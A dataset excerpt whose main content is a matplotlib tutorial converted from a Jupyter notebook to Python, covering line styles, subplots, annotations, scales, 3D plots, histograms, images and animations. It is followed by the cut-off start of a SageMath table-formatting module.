"max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 16.0980392157, "max_line_length": 73, "alphanum_fraction": 0.6348964677, "include": true, "reason": "import numpy", "num_tokens": 1126, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43398146480389854, "lm_q2_score": 0.13296424706933604, "lm_q1q2_score": 0.05770401870969793}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# **Tools - matplotlib**\n# \n# *This notebook demonstrates how to use the matplotlib library to plot beautiful graphs.*\n\n# # Table of Contents\n#  <p><div class=\"lev1\"><a href=\"#Plotting-your-first-graph-1\"><span class=\"toc-item-num\">1&nbsp;&nbsp;</span>Plotting your first graph</a></div><div class=\"lev1\"><a href=\"#Line-style-and-color-2\"><span class=\"toc-item-num\">2&nbsp;&nbsp;</span>Line style and color</a></div><div class=\"lev1\"><a href=\"#Saving-a-figure-3\"><span class=\"toc-item-num\">3&nbsp;&nbsp;</span>Saving a figure</a></div><div class=\"lev1\"><a href=\"#Subplots-4\"><span class=\"toc-item-num\">4&nbsp;&nbsp;</span>Subplots</a></div><div class=\"lev1\"><a href=\"#Multiple-figures-5\"><span class=\"toc-item-num\">5&nbsp;&nbsp;</span>Multiple figures</a></div><div class=\"lev1\"><a href=\"#Pyplot's-state-machine:-implicit-vs-explicit-6\"><span class=\"toc-item-num\">6&nbsp;&nbsp;</span>Pyplot's state machine: implicit <em>vs</em> explicit</a></div><div class=\"lev1\"><a href=\"#Pylab-vs-Pyplot-vs-Matplotlib-7\"><span class=\"toc-item-num\">7&nbsp;&nbsp;</span>Pylab <em>vs</em> Pyplot <em>vs</em> Matplotlib</a></div><div class=\"lev1\"><a href=\"#Drawing-text-8\"><span class=\"toc-item-num\">8&nbsp;&nbsp;</span>Drawing text</a></div><div class=\"lev1\"><a href=\"#Legends-9\"><span class=\"toc-item-num\">9&nbsp;&nbsp;</span>Legends</a></div><div class=\"lev1\"><a href=\"#Non-linear-scales-10\"><span class=\"toc-item-num\">10&nbsp;&nbsp;</span>Non linear scales</a></div><div class=\"lev1\"><a href=\"#Ticks-and-tickers-11\"><span class=\"toc-item-num\">11&nbsp;&nbsp;</span>Ticks and tickers</a></div><div class=\"lev1\"><a href=\"#Polar-projection-12\"><span class=\"toc-item-num\">12&nbsp;&nbsp;</span>Polar projection</a></div><div class=\"lev1\"><a href=\"#3D-projection-13\"><span class=\"toc-item-num\">13&nbsp;&nbsp;</span>3D projection</a></div><div class=\"lev1\"><a href=\"#Scatter-plot-14\"><span class=\"toc-item-num\">14&nbsp;&nbsp;</span>Scatter plot</a></div><div class=\"lev1\"><a href=\"#Lines-15\"><span class=\"toc-item-num\">15&nbsp;&nbsp;</span>Lines</a></div><div class=\"lev1\"><a href=\"#Histograms-16\"><span class=\"toc-item-num\">16&nbsp;&nbsp;</span>Histograms</a></div><div class=\"lev1\"><a href=\"#Images-17\"><span class=\"toc-item-num\">17&nbsp;&nbsp;</span>Images</a></div><div class=\"lev1\"><a href=\"#Animations-18\"><span class=\"toc-item-num\">18&nbsp;&nbsp;</span>Animations</a></div><div class=\"lev1\"><a href=\"#Saving-animations-to-video-files-19\"><span class=\"toc-item-num\">19&nbsp;&nbsp;</span>Saving animations to video files</a></div><div class=\"lev1\"><a href=\"#What-next?-20\"><span class=\"toc-item-num\">20&nbsp;&nbsp;</span>What next?</a></div>\n\n# # Plotting your first graph\n\n# First we need to import the `matplotlib` library.\n\n# In[1]:\n\n\nimport matplotlib\n\n\n# Matplotlib can output graphs using various backend graphics libraries, such as Tk, wxPython, etc.  When running python using the command line, the graphs are typically shown in a separate window. In a Jupyter notebook, we can simply output the graphs within the notebook itself by running the `%matplotlib inline` magic command.\n\n# In[2]:\n\n\nget_ipython().run_line_magic('matplotlib', 'inline')\n# matplotlib.use(\"TKAgg\")  # use this instead in your program if you want to use Tk as your graphics backend.\n\n\n# Now let's plot our first graph! :)\n\n# In[4]:\n\n\nimport matplotlib.pyplot as plt\nplt.plot([1, 2, 4, 9, 5, 3])\nplt.show()\n\n\n# Yep, it's as simple as calling the `plot` function with some data, and then calling the `show` function!\n# \n# If the `plot` function is given one array of data, it will use it as the coordinates on the vertical axis, and it will just use each data point's index in the array as the horizontal coordinate.\n# You can also provide two arrays: one for the horizontal axis `x`, and the second for the vertical axis `y`:\n\n# In[5]:\n\n\nplt.plot([-3, -2, 5, 0], [1, 6, 4, 3])\nplt.show()\n\n\n# The axes automatically match the extent of the data.  We would like to give the graph a bit more room, so let's call the `axis` function to change the extent of each axis `[xmin, xmax, ymin, ymax]`.\n\n# In[6]:\n\n\nplt.plot([-3, -2, 5, 0], [1, 6, 4, 3])\nplt.axis([-4, 6, 0, 7])\nplt.show()\n\n\n# Now, let's plot a mathematical function. We use NumPy's `linspace` function to create an array `x` containing 500 floats ranging from -2 to 2, then we create a second array `y` computed as the square of `x` (to learn about NumPy, read the [NumPy tutorial](tools_numpy.ipynb)).\n\n# In[7]:\n\n\nimport numpy as np\nx = np.linspace(-2, 2, 500)\ny = x**2\n\nplt.plot(x, y)\nplt.show()\n\n\n# That's a bit dry, let's add a title, and x and y labels, and draw a grid.\n\n# In[8]:\n\n\nplt.plot(x, y)\nplt.title(\"Square function\")\nplt.xlabel(\"x\")\nplt.ylabel(\"y = x**2\")\nplt.grid(True)\nplt.show()\n\n\n# # Line style and color\n\n# By default, matplotlib draws a line between consecutive points.\n\n# In[9]:\n\n\nplt.plot([0, 100, 100, 0, 0, 100, 50, 0, 100], [0, 0, 100, 100, 0, 100, 130, 100, 0])\nplt.axis([-10, 110, -10, 140])\nplt.show()\n\n\n# You can pass a 3rd argument to change the line's style and color.\n# For example `\"g--\"` means \"green dashed line\".\n\n# In[10]:\n\n\nplt.plot([0, 100, 100, 0, 0, 100, 50, 0, 100], [0, 0, 100, 100, 0, 100, 130, 100, 0], \"g--\")\nplt.axis([-10, 110, -10, 140])\nplt.show()\n\n\n# You can plot multiple lines on one graph very simply: just pass `x1, y1, [style1], x2, y2, [style2], ...`\n# \n# For example:\n\n# In[11]:\n\n\nplt.plot([0, 100, 100, 0, 0], [0, 0, 100, 100, 0], \"r-\", [0, 100, 50, 0, 100], [0, 100, 130, 100, 0], \"g--\")\nplt.axis([-10, 110, -10, 140])\nplt.show()\n\n\n# Or simply call `plot` multiple times before calling `show`.\n\n# In[12]:\n\n\nplt.plot([0, 100, 100, 0, 0], [0, 0, 100, 100, 0], \"r-\")\nplt.plot([0, 100, 50, 0, 100], [0, 100, 130, 100, 0], \"g--\")\nplt.axis([-10, 110, -10, 140])\nplt.show()\n\n\n# You can also draw simple points instead of lines. Here's an example with green dashes, red dotted line and blue triangles.\n# Check out [the documentation](http://matplotlib.org/api/pyplot_api.html#matplotlib.pyplot.plot) for the full list of style & color options.\n\n# In[13]:\n\n\nx = np.linspace(-1.4, 1.4, 30)\nplt.plot(x, x, 'g--', x, x**2, 'r:', x, x**3, 'b^')\nplt.show()\n\n\n# The plot function returns a list of `Line2D` objects (one for each line).  You can set extra attributes on these lines, such as the line width, the dash style or the alpha level.  See the full list of attributes in [the documentation](http://matplotlib.org/users/pyplot_tutorial.html#controlling-line-properties).\n\n# In[14]:\n\n\nx = np.linspace(-1.4, 1.4, 30)\nline1, line2, line3 = plt.plot(x, x, 'g--', x, x**2, 'r:', x, x**3, 'b^')\nline1.set_linewidth(3.0)\nline1.set_dash_capstyle(\"round\")\nline3.set_alpha(0.2)\nplt.show()\n\n\n# # Saving a figure\n# Saving a figure to disk is as simple as calling [`savefig`](http://matplotlib.org/api/pyplot_api.html#matplotlib.pyplot.savefig) with the name of the file (or a file object). The available image formats depend on the graphics backend you use.\n\n# In[15]:\n\n\nx = np.linspace(-1.4, 1.4, 30)\nplt.plot(x, x**2)\nplt.savefig(\"my_square_function.png\", transparent=True)\n\n\n# # Subplots\n# A matplotlib figure may contain multiple subplots. These subplots are organized in a grid. To create a subplot, just call the `subplot` function, and specify the number of rows and columns in the figure, and the index of the subplot you want to draw on (starting from 1, then left to right, and top to bottom). Note that pyplot keeps track of the currently active subplot (which you can get a reference to by calling `plt.gca()`), so when you call the `plot` function, it draws on the *active* subplot.\n# \n\n# In[16]:\n\n\nx = np.linspace(-1.4, 1.4, 30)\nplt.subplot(2, 2, 1)  # 2 rows, 2 columns, 1st subplot = top left\nplt.plot(x, x)\nplt.subplot(2, 2, 2)  # 2 rows, 2 columns, 2nd subplot = top right\nplt.plot(x, x**2)\nplt.subplot(2, 2, 3)  # 2 rows, 2 columns, 3rd subplot = bottow left\nplt.plot(x, x**3)\nplt.subplot(2, 2, 4)  # 2 rows, 2 columns, 4th subplot = bottom right\nplt.plot(x, x**4)\nplt.show()\n\n\n# * Note that `subplot(223)` is a shorthand for `subplot(2, 2, 3)`.\n\n# It is easy to create subplots that span across multiple grid cells like so:\n\n# In[17]:\n\n\nplt.subplot(2, 2, 1)  # 2 rows, 2 columns, 1st subplot = top left\nplt.plot(x, x)\nplt.subplot(2, 2, 2)  # 2 rows, 2 columns, 2nd subplot = top right\nplt.plot(x, x**2)\nplt.subplot(2, 1, 2)  # 2 rows, *1* column, 2nd subplot = bottom\nplt.plot(x, x**3)\nplt.show()\n\n\n# If you need more complex subplot positionning, you can use `subplot2grid` instead of `subplot`. You specify the number of rows and columns in the grid, then your subplot's position in that grid (top-left = (0,0)), and optionally how many rows and/or columns it spans.  For example:\n\n# In[18]:\n\n\nplt.subplot2grid((3,3), (0, 0), rowspan=2, colspan=2)\nplt.plot(x, x**2)\nplt.subplot2grid((3,3), (0, 2))\nplt.plot(x, x**3)\nplt.subplot2grid((3,3), (1, 2), rowspan=2)\nplt.plot(x, x**4)\nplt.subplot2grid((3,3), (2, 0), colspan=2)\nplt.plot(x, x**5)\nplt.show()\n\n\n# If you need even more flexibility in subplot positioning, check out the [GridSpec documentation](http://matplotlib.org/users/gridspec.html)\n\n# # Multiple figures\n# It is also possible to draw multiple figures. Each figure may contain one or more subplots. By default, matplotlib creates `figure(1)` automatically. When you switch figure, pyplot keeps track of the currently active figure (which you can get a reference to by calling `plt.gcf()`), and the active subplot of that figure becomes the current subplot.\n\n# In[19]:\n\n\nx = np.linspace(-1.4, 1.4, 30)\n\nplt.figure(1)\nplt.subplot(211)\nplt.plot(x, x**2)\nplt.title(\"Square and Cube\")\nplt.subplot(212)\nplt.plot(x, x**3)\n\nplt.figure(2, figsize=(10, 5))\nplt.subplot(121)\nplt.plot(x, x**4)\nplt.title(\"y = x**4\")\nplt.subplot(122)\nplt.plot(x, x**5)\nplt.title(\"y = x**5\")\n\nplt.figure(1)      # back to figure 1, current subplot is 212 (bottom)\nplt.plot(x, -x**3, \"r:\")\n\nplt.show()\n\n\n# # Pyplot's state machine: implicit *vs* explicit\n# So far we have used Pyplot's state machine which keeps track of the currently active subplot. Every time you call the `plot` function, pyplot just draws on the currently active subplot. It also does some more magic, such as automatically creating a figure and a subplot when you call `plot`, if they don't exist yet. This magic is convenient in an interactive environment (such as Jupyter).\n# \n# But when you are writing a program, *explicit is better than implicit*. Explicit code is usually easier to debug and maintain, and if you don't believe me just read the 2nd rule in the Zen of Python:\n\n# In[20]:\n\n\nimport this\n\n\n# Fortunately, Pyplot allows you to ignore the state machine entirely, so you can write beautifully explicit code. Simply call the `subplots` function and use the figure object and the list of axes objects that are returned. No more magic! For example:\n\n# In[21]:\n\n\nx = np.linspace(-2, 2, 200)\nfig1, (ax_top, ax_bottom) = plt.subplots(2, 1, sharex=True)\nfig1.set_size_inches(10,5)\nline1, line2 = ax_top.plot(x, np.sin(3*x**2), \"r-\", x, np.cos(5*x**2), \"b-\")\nline3, = ax_bottom.plot(x, np.sin(3*x), \"r-\")\nax_top.grid(True)\n\nfig2, ax = plt.subplots(1, 1)\nax.plot(x, x**2)\nplt.show()\n\n\n# For consistency, we will continue to use pyplot's state machine in the rest of this tutorial, but we recommend using the object-oriented interface in your programs.\n# \n# # Pylab *vs* Pyplot *vs* Matplotlib\n# \n# There is some confusion around the relationship between pylab, pyplot and matplotlib. It's simple: matplotlib is the full library, it contains everything including pylab and pyplot.\n# \n# Pyplot provides a number of tools to plot graphs, including the state-machine interface to the underlying object-oriented plotting library.\n# \n# Pylab is a convenience module that imports matplotlib.pyplot and NumPy in a single name space. You will find many examples using pylab, but it is no longer recommended (because *explicit* imports are better than *implicit* ones).\n\n# # Drawing text\n# You can call `text` to add text at any location in the graph. Just specify the horizontal and vertical coordinates and the text, and optionally some extra attributes.  Any text in matplotlib may contain TeX equation expressions, see [the documentation](http://matplotlib.org/users/mathtext.html) for more details.\n\n# In[22]:\n\n\nx = np.linspace(-1.5, 1.5, 30)\npx = 0.8\npy = px**2\n\nplt.plot(x, x**2, \"b-\", px, py, \"ro\")\n\nplt.text(0, 1.5, \"Square function\\n$y = x^2$\", fontsize=20, color='blue', horizontalalignment=\"center\")\nplt.text(px - 0.08, py, \"Beautiful point\", ha=\"right\", weight=\"heavy\")\nplt.text(px, py, \"x = %0.2f\\ny = %0.2f\"%(px, py), rotation=50, color='gray')\n\nplt.show()\n\n\n# * Note: `ha` is an alias for `horizontalalignment`\n# \n# For more text properties, visit [the documentation](http://matplotlib.org/users/text_props.html#text-properties).\n# \n# It is quite frequent to annotate elements of a graph, such as the beautiful point above. The `annotate` function makes this easy: just indicate the location of the point of interest, and the position of the text, plus optionally some extra attributes for the text and the arrow.\n\n# In[23]:\n\n\nplt.plot(x, x**2, px, py, \"ro\")\nplt.annotate(\"Beautiful point\", xy=(px, py), xytext=(px-1.3,py+0.5),\n                           color=\"green\", weight=\"heavy\", fontsize=14,\n                           arrowprops={\"facecolor\": \"lightgreen\"})\nplt.show()\n\n\n# You can also add a bounding box around your text by using the `bbox` attribute:\n\n# In[24]:\n\n\nplt.plot(x, x**2, px, py, \"ro\")\n\nbbox_props = dict(boxstyle=\"rarrow,pad=0.3\", ec=\"b\", lw=2, fc=\"lightblue\")\nplt.text(px-0.2, py, \"Beautiful point\", bbox=bbox_props, ha=\"right\")\n\nbbox_props = dict(boxstyle=\"round4,pad=1,rounding_size=0.2\", ec=\"black\", fc=\"#EEEEFF\", lw=5)\nplt.text(0, 1.5, \"Square function\\n$y = x^2$\", fontsize=20, color='black', ha=\"center\", bbox=bbox_props)\n\nplt.show()\n\n\n# Just for fun, if you want an [xkcd](http://xkcd.com)-style plot, just draw within a `with plt.xkcd()` section:\n\n# In[25]:\n\n\nwith plt.xkcd():\n    plt.plot(x, x**2, px, py, \"ro\")\n\n    bbox_props = dict(boxstyle=\"rarrow,pad=0.3\", ec=\"b\", lw=2, fc=\"lightblue\")\n    plt.text(px-0.2, py, \"Beautiful point\", bbox=bbox_props, ha=\"right\")\n\n    bbox_props = dict(boxstyle=\"round4,pad=1,rounding_size=0.2\", ec=\"black\", fc=\"#EEEEFF\", lw=5)\n    plt.text(0, 1.5, \"Square function\\n$y = x^2$\", fontsize=20, color='black', ha=\"center\", bbox=bbox_props)\n\n    plt.show()\n\n\n# # Legends\n# The simplest way to add a legend is to set a label on all lines, then just call the `legend` function.\n\n# In[26]:\n\n\nx = np.linspace(-1.4, 1.4, 50)\nplt.plot(x, x**2, \"r--\", label=\"Square function\")\nplt.plot(x, x**3, \"g-\", label=\"Cube function\")\nplt.legend(loc=\"best\")\nplt.grid(True)\nplt.show()\n\n\n# # Non linear scales\n# Matplotlib supports non linear scales, such as logarithmic or logit scales.\n\n# In[27]:\n\n\nx = np.linspace(0.1, 15, 500)\ny = x**3/np.exp(2*x)\n\nplt.figure(1)\nplt.plot(x, y)\nplt.yscale('linear')\nplt.title('linear')\nplt.grid(True)\n\nplt.figure(2)\nplt.plot(x, y)\nplt.yscale('log')\nplt.title('log')\nplt.grid(True)\n\nplt.figure(3)\nplt.plot(x, y)\nplt.yscale('logit')\nplt.title('logit')\nplt.grid(True)\n\nplt.figure(4)\nplt.plot(x, y - y.mean())\nplt.yscale('symlog', linthreshy=0.05)\nplt.title('symlog')\nplt.grid(True)\n\nplt.show()\n\n\n# # Ticks and tickers\n# The axes have little marks called \"ticks\".  To be precise, \"ticks\" are the *locations* of the marks (eg. (-1, 0, 1)), \"tick lines\" are the small lines drawn at those locations, \"tick labels\" are the labels drawn next to the tick lines, and \"tickers\" are objects that are capable of deciding where to place ticks. The default tickers typically do a pretty good job at placing ~5 to 8 ticks at a reasonable distance from one another.\n# \n# But sometimes you need more control (eg. there are too many tick labels on the logit graph above). Fortunately, matplotlib gives you full control over ticks.  You can even activate minor ticks.\n# \n# \n\n# In[28]:\n\n\nx = np.linspace(-2, 2, 100)\n\nplt.figure(1, figsize=(15,10))\nplt.subplot(131)\nplt.plot(x, x**3)\nplt.grid(True)\nplt.title(\"Default ticks\")\n\nax = plt.subplot(132)\nplt.plot(x, x**3)\nax.xaxis.set_ticks(np.arange(-2, 2, 1))\nplt.grid(True)\nplt.title(\"Manual ticks on the x-axis\")\n\nax = plt.subplot(133)\nplt.plot(x, x**3)\nplt.minorticks_on()\nax.tick_params(axis='x', which='minor', bottom='off')\nax.xaxis.set_ticks([-2, 0, 1, 2])\nax.yaxis.set_ticks(np.arange(-5, 5, 1))\nax.yaxis.set_ticklabels([\"min\", -4, -3, -2, -1, 0, 1, 2, 3, \"max\"])\nplt.title(\"Manual ticks and tick labels\\n(plus minor ticks) on the y-axis\")\n\n\nplt.grid(True)\n\nplt.show()\n\n\n# # Polar projection\n# Drawing a polar graph is as easy as setting the `projection` attribute to `\"polar\"` when creating the subplot.\n\n# In[29]:\n\n\nradius = 1\ntheta = np.linspace(0, 2*np.pi*radius, 1000)\n\nplt.subplot(111, projection='polar')\nplt.plot(theta, np.sin(5*theta), \"g-\")\nplt.plot(theta, 0.5*np.cos(20*theta), \"b-\")\nplt.show()\n\n\n# # 3D projection\n# \n# Plotting 3D graphs is quite straightforward. You need to import `Axes3D`, which registers the `\"3d\"` projection. Then create a subplot setting the `projection` to `\"3d\"`. This returns an `Axes3DSubplot` object, which you can use to call `plot_surface`, giving x, y, and z coordinates, plus optional attributes.\n\n# In[30]:\n\n\nfrom mpl_toolkits.mplot3d import Axes3D\n\nx = np.linspace(-5, 5, 50)\ny = np.linspace(-5, 5, 50)\nX, Y = np.meshgrid(x, y)\nR = np.sqrt(X**2 + Y**2)\nZ = np.sin(R)\n\nfigure = plt.figure(1, figsize = (12, 4))\nsubplot3d = plt.subplot(111, projection='3d')\nsurface = subplot3d.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=matplotlib.cm.coolwarm, linewidth=0.1)\nplt.show()\n\n\n# Another way to display this same data is *via* a contour plot.\n\n# In[31]:\n\n\nplt.contourf(X, Y, Z, cmap=matplotlib.cm.coolwarm)\nplt.colorbar()\nplt.show()\n\n\n# # Scatter plot\n\n# To draw a scatter plot, simply provide the x and y coordinates of the points.\n\n# In[32]:\n\n\nfrom numpy.random import rand\nx, y = rand(2, 100)\nplt.scatter(x, y)\nplt.show()\n\n\n# You may also optionally provide the scale of each point.\n\n# In[33]:\n\n\nx, y, scale = rand(3, 100)\nscale = 500 * scale ** 5\nplt.scatter(x, y, s=scale)\nplt.show()\n\n\n# And as usual there are a number of other attributes you can set, such as the fill and edge colors and the alpha level.\n\n# In[34]:\n\n\nfor color in ['red', 'green', 'blue']:\n    n = 100\n    x, y = rand(2, n)\n    scale = 500.0 * rand(n) ** 5\n    plt.scatter(x, y, s=scale, c=color, alpha=0.3, edgecolors='blue')\n\nplt.grid(True)\n\nplt.show()\n\n\n# # Lines\n# You can draw lines simply using the `plot` function, as we have done so far. However, it is often convenient to create a utility function that plots a (seemingly) infinite line across the graph, given a slope and an intercept. You can also use the `hlines` and `vlines` functions that plot horizontal and vertical line segments.\n# For example:\n\n# In[35]:\n\n\nfrom numpy.random import randn\n\ndef plot_line(axis, slope, intercept, **kargs):\n    xmin, xmax = axis.get_xlim()\n    plt.plot([xmin, xmax], [xmin*slope+intercept, xmax*slope+intercept], **kargs)\n\nx = randn(1000)\ny = 0.5*x + 5 + randn(1000)*2\nplt.axis([-2.5, 2.5, -5, 15])\nplt.scatter(x, y, alpha=0.2)\nplt.plot(1, 0, \"ro\")\nplt.vlines(1, -5, 0, color=\"red\")\nplt.hlines(0, -2.5, 1, color=\"red\")\nplot_line(axis=plt.gca(), slope=0.5, intercept=5, color=\"magenta\")\nplt.grid(True)\nplt.show()\n\n\n# # Histograms\n\n# In[36]:\n\n\ndata = [1, 1.1, 1.8, 2, 2.1, 3.2, 3, 3, 3, 3]\nplt.subplot(211)\nplt.hist(data, bins = 10, rwidth=0.8)\n\nplt.subplot(212)\nplt.hist(data, bins = [1, 1.5, 2, 2.5, 3], rwidth=0.95)\nplt.xlabel(\"Value\")\nplt.ylabel(\"Frequency\")\n\nplt.show()\n\n\n# In[37]:\n\n\ndata1 = np.random.randn(400)\ndata2 = np.random.randn(500) + 3\ndata3 = np.random.randn(450) + 6\ndata4a = np.random.randn(200) + 9\ndata4b = np.random.randn(100) + 10\n\nplt.hist(data1, bins=5, color='g', alpha=0.75, label='bar hist') # default histtype='bar'\nplt.hist(data2, color='b', alpha=0.65, histtype='stepfilled', label='stepfilled hist')\nplt.hist(data3, color='r', histtype='step', label='step hist')\nplt.hist((data4a, data4b), color=('r','m'), alpha=0.55, histtype='barstacked', label=('barstacked a', 'barstacked b'))\n\nplt.xlabel(\"Value\")\nplt.ylabel(\"Frequency\")\nplt.legend()\nplt.grid(True)\nplt.show()\n\n\n# # Images\n# Reading, generating and plotting images in matplotlib is quite straightforward.\n# \n# To read an image, just import the `matplotlib.image` module, and call its `imread` function, passing it the file name (or file object). This returns the image data, as a NumPy array. Let's try this with the `my_square_function.png` image we saved earlier.\n\n# In[38]:\n\n\nimport matplotlib.image as mpimg\n\nimg = mpimg.imread('my_square_function.png')\nprint(img.shape, img.dtype)\n\n\n# We have loaded a 288x432 image. Each pixel is represented by a 4-element array: red, green, blue, and alpha levels, stored as 32-bit floats between 0 and\u00a01.  Now all we need to do is to call `imshow`:\n\n# In[39]:\n\n\nplt.imshow(img)\nplt.show()\n\n\n# Tadaaa! You may want to hide the axes when you are displaying an image:\n\n# In[40]:\n\n\nplt.imshow(img)\nplt.axis('off')\nplt.show()\n\n\n# It's just as easy to generate your own image:\n\n# In[41]:\n\n\nimg = np.arange(100*100).reshape(100, 100)\nprint(img)\nplt.imshow(img)\nplt.show()\n\n\n# As we did not provide RGB levels, the `imshow` function automatically maps values to a color gradient. By default, the color gradient goes from blue (for low values) to red (for high values), but you can select another color map.  For example:\n\n# In[42]:\n\n\nplt.imshow(img, cmap=\"hot\")\nplt.show()\n\n\n# You can also generate an RGB image directly:\n\n# In[43]:\n\n\nimg = np.empty((20,30,3))\nimg[:, :10] = [0, 0, 0.6]\nimg[:, 10:20] = [1, 1, 1]\nimg[:, 20:] = [0.6, 0, 0]\nplt.imshow(img)\nplt.show()\n\n\n# Since the `img` array is just quite small (20x30), when the `imshow` function displays it, it grows the image to the figure's size. By default it uses [bilinear interpolation](https://en.wikipedia.org/wiki/Bilinear_interpolation) to fill the added pixels. This is why the edges look blurry.\n# You can select another interpolation algorithm, such as copying the color of the nearest pixel:\n\n# In[44]:\n\n\nplt.imshow(img, interpolation=\"nearest\")\nplt.show()\n\n\n# # Animations\n# Although matplotlib is mostly used to generate images, it is also capable of displaying animations, depending on the Backend you use. In a Jupyter notebook, we need to use the `nbagg` backend to use interactive matplotlib features, including animations. We also need to import `matplotlib.animation`.\n\n# In[45]:\n\n\nget_ipython().run_line_magic('matplotlib', 'nbagg')\nimport matplotlib.animation as animation\n\n\n# In this example, we start by creating data points, then we create an empty plot, we define the update function that will be called at every iteration of the animation, and finally we add an animation to the plot by creating a `FuncAnimation` instance.\n# \n# The `FuncAnimation` constructor takes a figure, an update function and optional arguments. We specify that we want a 100-frame long animation, with 20ms between each frame. At each iteration, `FuncAnimation` calls our update function and passes it the frame number `num` (from 0 to 99 in our case) followed by the extra arguments that we specified with `fargs`.\n# \n# Our update function simply sets the line data to be the first `num` data points (so the data gets drawn gradually), and just for fun we also add a small random number to each data point so that the line appears to wiggle.\n\n# In[46]:\n\n\nx = np.linspace(-1, 1, 100)\ny = np.sin(x**2*25)\ndata = np.array([x, y])\n\nfig = plt.figure()\nline, = plt.plot([], [], \"r-\") # start with an empty plot\nplt.axis([-1.1, 1.1, -1.1, 1.1])\nplt.plot([-0.5, 0.5], [0, 0], \"b-\", [0, 0], [-0.5, 0.5], \"b-\", 0, 0, \"ro\")\nplt.grid(True)\nplt.title(\"Marvelous animation\")\n\n# this function will be called at every iteration\ndef update_line(num, data, line):\n    line.set_data(data[..., :num] + np.random.rand(2, num) / 25)  # we only plot the first `num` data points.\n    return line,\n\nline_ani = animation.FuncAnimation(fig, update_line, frames=100, fargs=(data, line), interval=67)\nplt.show()\n\n\n# # Saving animations to video files\n# Matplotlib relies on 3rd-party libraries to write videos such as [FFMPEG](https://www.ffmpeg.org/) or `mencoder`. In this example we will be using FFMPEG so be sure to install it first.\n\n# In[47]:\n\n\nWriter = animation.writers['ffmpeg']\nwriter = Writer(fps=15, metadata=dict(artist='Me'), bitrate=1800)\nline_ani.save('my_wiggly_animation.mp4', writer=writer)\n\n\n# # What next?\n# Now you know all the basics of matplotlib, but there are many more options available. The best way to learn more, is to visit the [gallery](http://matplotlib.org/gallery.html), look at the images, choose a plot that you are interested in, then just copy the code in a Jupyter notebook and play around with it.\n", "meta": {"hexsha": "e8b350e1d8f2ae4d62d681a94a08fbc520402339", "size": 24799, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/tensorflow-examples/tensorflow_examples/converted_notebooks/tools_matplotlib.py", "max_stars_repo_name": "wilsonify/tensorflow-examples", "max_stars_repo_head_hexsha": "2271c666b33c7a74047c7196783ab04e9aee8362", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2019-11-21T02:43:24.000Z", "max_stars_repo_stars_event_max_datetime": "2020-08-12T04:48:39.000Z", "max_issues_repo_path": "src/tensorflow-examples/tensorflow_examples/converted_notebooks/tools_matplotlib.py", "max_issues_repo_name": "wilsonify/tensorflow-examples", "max_issues_repo_head_hexsha": "2271c666b33c7a74047c7196783ab04e9aee8362", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/tensorflow-examples/tensorflow_examples/converted_notebooks/tools_matplotlib.py", "max_forks_repo_name": "wilsonify/tensorflow-examples", "max_forks_repo_head_hexsha": "2271c666b33c7a74047c7196783ab04e9aee8362", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-02-06T12:36:58.000Z", "max_forks_repo_forks_event_max_datetime": "2021-02-06T12:36:58.000Z", "avg_line_length": 34.3001383126, "max_line_length": 2483, "alphanum_fraction": 0.6902697689, "include": true, "reason": "import numpy,from numpy", "num_tokens": 7468, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4111108836623764, "lm_q2_score": 0.14033624589467186, "lm_q1q2_score": 0.05769375805961909}}
{"text": "r\"\"\"\nTables\n\nDisplay a rectangular array as a table, either in plain text, LaTeX,\nor html.  See the documentation for :class:`table` for details and\nexamples.\n\nAUTHORS:\n\n- John H. Palmieri (2012-11)\n\"\"\"\n\nfrom io import StringIO\n\nfrom sage.structure.sage_object import SageObject\nfrom sage.misc.cachefunc import cached_method\n\n\nclass table(SageObject):\n    r\"\"\"\n    Display a rectangular array as a table, either in plain text, LaTeX,\n    or html.\n\n    INPUT:\n\n    - ``rows`` (default ``None``) - a list of lists (or list of tuples,\n      etc.), containing the data to be displayed.\n    - ``columns`` (default ``None``) - a list of lists (etc.), containing\n      the data to be displayed, but stored as columns. Set either ``rows``\n      or ``columns``, but not both.\n    - ``header_row`` (default ``False``) - if ``True``, first row is\n      highlighted.\n    - ``header_column`` (default ``False``) - if ``True``, first column is\n      highlighted.\n    - ``frame`` (default ``False``) - if ``True``, put a box around each\n      cell.\n    - ``align`` (default 'left') - the alignment of each entry: either\n      'left', 'center', or 'right'\n\n    EXAMPLES::\n\n        sage: rows = [['a', 'b', 'c'], [100,2,3], [4,5,60]]\n        sage: table(rows)\n          a     b   c\n          100   2   3\n          4     5   60\n        sage: latex(table(rows))\n        \\begin{tabular}{lll}\n        a & b & c \\\\\n        $100$ & $2$ & $3$ \\\\\n        $4$ & $5$ & $60$ \\\\\n        \\end{tabular}\n\n    If ``header_row`` is ``True``, then the first row is highlighted. If\n    ``header_column`` is ``True``, then the first column is\n    highlighted. If ``frame`` is ``True``, then print a box around every\n    \"cell\". ::\n\n        sage: table(rows, header_row=True)\n          a     b   c\n        +-----+---+----+\n          100   2   3\n          4     5   60\n        sage: latex(table(rows, header_row=True))\n        \\begin{tabular}{lll}\n        a & b & c \\\\ \\hline\n        $100$ & $2$ & $3$ \\\\\n        $4$ & $5$ & $60$ \\\\\n        \\end{tabular}\n        sage: table(rows=rows, frame=True)\n        +-----+---+----+\n        | a   | b | c  |\n        +-----+---+----+\n        | 100 | 2 | 3  |\n        +-----+---+----+\n        | 4   | 5 | 60 |\n        +-----+---+----+\n        sage: latex(table(rows=rows, frame=True))\n        \\begin{tabular}{|l|l|l|} \\hline\n        a & b & c \\\\ \\hline\n        $100$ & $2$ & $3$ \\\\ \\hline\n        $4$ & $5$ & $60$ \\\\ \\hline\n        \\end{tabular}\n        sage: table(rows, header_column=True, frame=True)\n        +-----++---+----+\n        | a   || b | c  |\n        +-----++---+----+\n        | 100 || 2 | 3  |\n        +-----++---+----+\n        | 4   || 5 | 60 |\n        +-----++---+----+\n        sage: latex(table(rows, header_row=True, frame=True))\n        